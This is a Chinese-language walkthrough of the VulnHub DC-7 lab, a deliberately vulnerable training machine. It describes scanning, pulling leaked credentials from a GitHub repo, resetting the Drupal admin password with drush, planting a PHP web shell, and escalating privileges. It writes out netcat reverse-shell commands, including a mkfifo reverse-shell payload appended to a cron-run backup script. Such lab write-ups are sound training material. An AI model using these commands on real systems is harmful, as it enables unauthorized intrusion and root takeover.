Vulnhub[DC7]
简介
下载
- DC-7.zip (Size: 939 MB)
- Download: http://www.five86.com/downloads/DC-7.zip
- Download (Mirror): https://download.vulnhub.com/dc/DC-7.zip
- Download (Torrent): https://download.vulnhub.com/dc/DC-7.zip.torrent ( Magnet)
信息收集
主机探活
kali中使用arp-scan进行主机探活
arp-scan --interface eth0 192.168.0.0/24
经过筛选可以知道192.168.0.153是DC-7的ip
端口扫描
nmap -sC -sV -p- 192.168.0.153
发现这里只是开了80、22端口
首先从80端口入手
DC-7 introduces some "new" concepts, but I'll leave you to figure out what they are. 😃
While this challenge isn't all that technical, if you need to resort to brute forcing or a dictionary attacks, you probably won't succeed.
What you will have to do, is to think "outside" the box.
Way "outside" the box. 😃
翻译:
DC-7 引入了一些“新”概念,但我会让你弄清楚它们是什么。 😃
虽然这个挑战并不完全是技术性的,但如果您需要诉诸暴力破解或字典攻击,您可能不会成功。
你要做的,就是跳出框框思考。
方式“外”框。 😃
CMS还是Drupal
但是这个靶机直接换了一种玩法,这是没想到的
这一题需要注意到这个地方
我们直接搜索,能发现有一个GitHub的用户,进去看能够发现一个staffdb的源码文件夹,并给了提示这源码是dc7靶机的突破口
员工数据库
这是 DC-7 挑战的一些“代码”(是的,它不是最好的代码,但这不是重点)。
顺便说一句,这不是一面旗帜,但如果你在这里做到了,无论如何都做得很好。 😃
将源码下载到本地
git clone https://github.com/Dc7User/staffdb
分析源码,发现一个config.php文件,在这个配置文件里找到了用户名和密码
渗透
用SSH链接靶机,登录dc7user发现可以成功连接
打开mbox文件发现是一个计划任务,定时备份,并发现备份执行的源码在/opt/scripts目录下
进入到/opt/scripts目录下,查看backups.sh脚本文件,发现两个命令gpg和drush
gpg命令用来加密,drush命令是drupal框架中用来做一些配置的命令,它可以改变用户名密码
进入到/var/www/html目录下,使用drush命令修改admin用户的密码为123456
然后就可以使用admin/123456登录后台了
一般流程就是发布一篇新的文章,写入shell
但是Drupal 8没有为了安全,需要将php单独作为一个模块导入
Php介绍页面如下,模块包下载地址也附上
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
Install后跳转到模块添加成功页面,然后去激活这个模块
选择FILTERS,勾选PHP点击Install安装,安装成功后会有提示
然后来到网站开始的欢迎页面,对该页面进行编辑,添加一句话PHP代码,并保存为PHP代码
蚁剑连接,成功连接getshell
提权
然后还是并反弹shell到kali,切换shell外壳
nc -e /bin/bash 192.168.0.153 8888
nc -lvvp 8888
当前用户是www-data,在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell
写入反弹shell代码到backups.sh脚本文件中,并在kali监听5555端口,等待执行计划任务,成功getshell
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.0.129 5555 >/tmp/f" >> backups.sh
然后就是去root目录下找flag了